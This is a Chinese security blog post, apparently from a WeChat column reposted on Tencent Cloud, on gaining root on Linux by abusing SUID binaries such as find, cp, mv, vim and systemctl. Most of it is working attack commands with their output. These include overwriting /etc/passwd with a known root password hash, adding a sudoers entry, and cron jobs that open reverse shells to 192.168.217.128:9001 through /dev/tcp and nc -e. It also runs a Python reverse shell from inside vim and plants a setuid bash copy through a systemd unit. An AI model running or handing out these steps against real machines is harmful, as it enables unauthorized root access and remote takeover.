前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >权限提升 | 带SUID的命令提权

权限提升 | 带SUID的命令提权

作者头像
潇湘信安
发布2023-03-10 15:47:13
2.1K0
发布2023-03-10 15:47:13
举报
文章被收录于专栏:潇湘信安潇湘信安

这篇文章由“潇湘信安技术交流群”@嘞萌师傅投稿,@3h整理发布,感谢分享!

@蜗牛师傅也写了一篇,大家可以参考学习下:权限提升 | suid提权及修复方式

0x01 SUID命令提权简介

setuid是set uid ID upon execution的缩写,我们一般会再次把它们缩写为suid,它们是控制文件访问的权限标志(flag),它允许用户以可执行文件的所有者的权限运行可执行文件,当所有者为root时,其他用户则可以使用root权限运行可执行文件,这就带来了安全风险,用户可以通过带有suid权限的命令进行提权,最终获得root权限。

下图展示了普通用户是如何通过passwd来修改/etc/shadow文件,正常情况下普通用户是无法直接修改/etc/shadow文件,因为passwd命令带有suid权限,所以普通用户在执行passwd时他的权限临时变为root权限就能修改/etc/shadow文件了。

图片
图片

0x02 查找具有suid权限文件的命令

  • SUID的权限号是4000
  • -exec 是用来执行ls -al命令 
  • {}表示前面find所查找到的所有结果
  • \; 是转义;来结束命令
  • 2> 将标准错误输出输出到/dev/null
代码语言:javascript
复制
find / -xdev -type f -perm /4000 -exec ls -al {} \; 2> /dev/null

0x03 为命令设置suid权限

例如给find命令添加suid,这里使用whereis,which都可以。

代码语言:javascript
复制
[root@localhost ~]# whereis find
find: /usr/bin/find /usr/share/man/man1/find.1.gz
[root@localhost ~]# chmod u+s /usr/bin/find
[root@localhost ~]# ls -al /usr/bin/find
-rwsr-xr-x. 1 root root 199304 Oct 31  2018 /usr/bin/find

0x04 find命令提权

如果find命令有suid则可以利用find命令提权,这里注意应该加上-p参数,网上大多数版本并没有-p选项,导致不能真正的以root权限开启一个新的shell。

利用普通用户执行find命令,要查找一个存在的文件,这里的点是查找当前目录

代码语言:javascript
复制
[admin@localhost ~]$ find . -exec /bin/bash -p \;
bash-4.2# whoami
root

-p参数的解释:

当真实用户id和有效用户id不匹配时打开。禁用处理$ENV文件和导入shell功能。关闭此选项将导致有效的uid和Gid设置为真实uid和Gid。

代码语言:javascript
复制
bash -p参数
-p  Turned on whenever the real and effective user ids do not match.
    Disables processing of the $ENV file and importing of shell
    functions.  Turning this option off causes the effective uid and
    gid to be set to the real uid and gid.

0x05 cp/mv命令提权

这里只演示cp命令,mv同理。

方法一

利用cp将/etc/passwd复制到/tmp/passwd

代码语言:javascript
复制
[admin@localhost ~]$ cp /etc/passwd /tmp/passwd
[admin@localhost ~]$ ls -al /tmp/passwd
-rw-r--r-- 1 root admin 1051 Nov 15 02:06 /tmp/passwd

加密的密码具有固定格式:

代码语言:javascript
复制
$id$salt$encrypted

id表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512 目前基本上都使用sha-512算法的,但无论是md5还是sha-256都仍然支持。salt表示密码学中的Salt,系统生成encrypted表示密码的hash

代码语言:javascript
复制
openssl passwd -6 -salt 1 123456  

passwd
Generation of hashed passwords.
-6
Use the SHA256 / SHA512 based algorithms defined by Ulrich Drepper.
-salt string
Use the specified salt. When reading a password from the terminal, this implies -noverify.

生成一个基于sha512密码算法,并且盐为1的密码为123456的密文。

代码语言:javascript
复制
┌──(kali㉿kali)-[~/Desktop]
└─$ openssl passwd -6 -salt 1 123456               
$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0

查看/tmp/passwd的内容,并创建一个新的passwd并将/tmp/passwd的内容与新生成的密码写进去

代码语言:javascript
复制
[admin@localhost ~]$ cat /tmp/passwd
root:x:0:0:root:/root:/bin/bash
...

[admin@localhost ~]$ vim passwd
root:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash
...       

将创建的新的passwd覆盖掉/etc/passwd

代码语言:javascript
复制
[admin@localhost ~]$ cp passwd /etc/passwd
[admin@localhost ~]$

此时可以切换root用户

图片
图片

方法二

创建一个crontab文件,利用cp覆盖/etc/crontab

代码语言:javascript
复制
[admin@localhost ~]$ cat crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

* * * * * root bash -i >& /dev/tcp/192.168.217.128/9001 0>&1
代码语言:javascript
复制
cp crontab /etc/crontab

最后等待连接

图片
图片

方法三

创建一个root_access文件

代码语言:javascript
复制
#!/bin/sh

cp /bin/bash /tmp/root_access
chmod +xs /tmp/root_access

赋予root_access文件执行权限,并将其放入/etc/cron.hourly中让其每个小时执行一遍

代码语言:javascript
复制
[admin@localhost ~]$ chmod +x root_access
[admin@localhost ~]$ cp root_access /etc/cron.hourly

等待root_access的创建,最后执行/tmp/root_access -p

代码语言:javascript
复制
[admin@localhost ~]$ /tmp/root_access -p
root_access-4.2#

0x06 vim等编辑器命令提权

方法一

生成一个新的密码,编辑/etc/passwd

代码语言:javascript
复制
┌──(kali㉿kali)-[~/Desktop]
└─$ openssl passwd -6 -salt 1 123456               
$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0

[admin@localhost ~]$ vim /etc/passwd
root:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash
...

:wq!

使用新密码登陆root

图片
图片

方法二

修改/etc/sudoers文件,使普通用户具有sudo权限,这里注意用当前普通用户的用户名,这里用户是admin

代码语言:javascript
复制
[admin@localhost ~]$ vim /etc/sudoers
## The COMMANDS section may have other options added to it.
##
## Allow root to run any commands anywhere
root    ALL=(ALL)       ALL
admin   ALL=(ALL)      ALL
...

:wq!

方法三

修改/etc/crontab文件,写入root用户定时执行任务

代码语言:javascript
复制
[admin@localhost ~]$ vim /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

* * * * * root nc -lp 9001 -e /bin/bash

:wq!

在攻击机上进行连接即可提升权限

图片
图片

方法四

利用vim执行python命令,正向shell,这里注意都要加-p参数

代码语言:javascript
复制
[admin@localhost ~]$ vim -c ':py import os; os.execl("/bin/bash", "bash", "-cp", "reset; exec bash -p")'

bash-4.2# whoami
root
bash-4.2#

反弹shell,这里注意利用的是subprocess模块才可以添加-p参数,pty模块不可以添加-p参数。

代码语言:javascript
复制
[admin@localhost ~]$ export RHOST=192.168.217.128
[admin@localhost ~]$ export RPORT=9001
[admin@localhost ~]$ vim -c ':py import vim,sys,socket,os,subprocess;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
p=subprocess.call(["/bin/bash","-ip"]);
vim.command(":q!")'
图片
图片

0x07 systemctl命令提权

如果systemctl具有suid权限则可以利用systemctl进行提权,systemctl 是一个用于管理服务的 Linux 软件套件,可以通过创建一个服务来利用,该服务在启动时将以 root 身份执行任意命令。

在下面的示例中,它将创建 /bin/bash 的 SUID 副本,因此允许攻击者以 root 身份执行 bash:

代码语言:javascript
复制
[admin@localhost ~]$ TF=$(mktemp).service
[admin@localhost ~]$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "cp /bin/bash /tmp/stef && chmod +s /tmp/stef"
> [Install]
> WantedBy=multi-user.target' > $TF
[admin@localhost ~]$ systemctl link $TF
Created symlink from /etc/systemd/system/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.
[admin@localhost ~]$ systemctl enable --now $TF
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.
[admin@localhost ~]$ /tmp/stef -p
stef-4.2# whoami
root
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-11-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 方法一
  • 方法二
  • 方法三
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档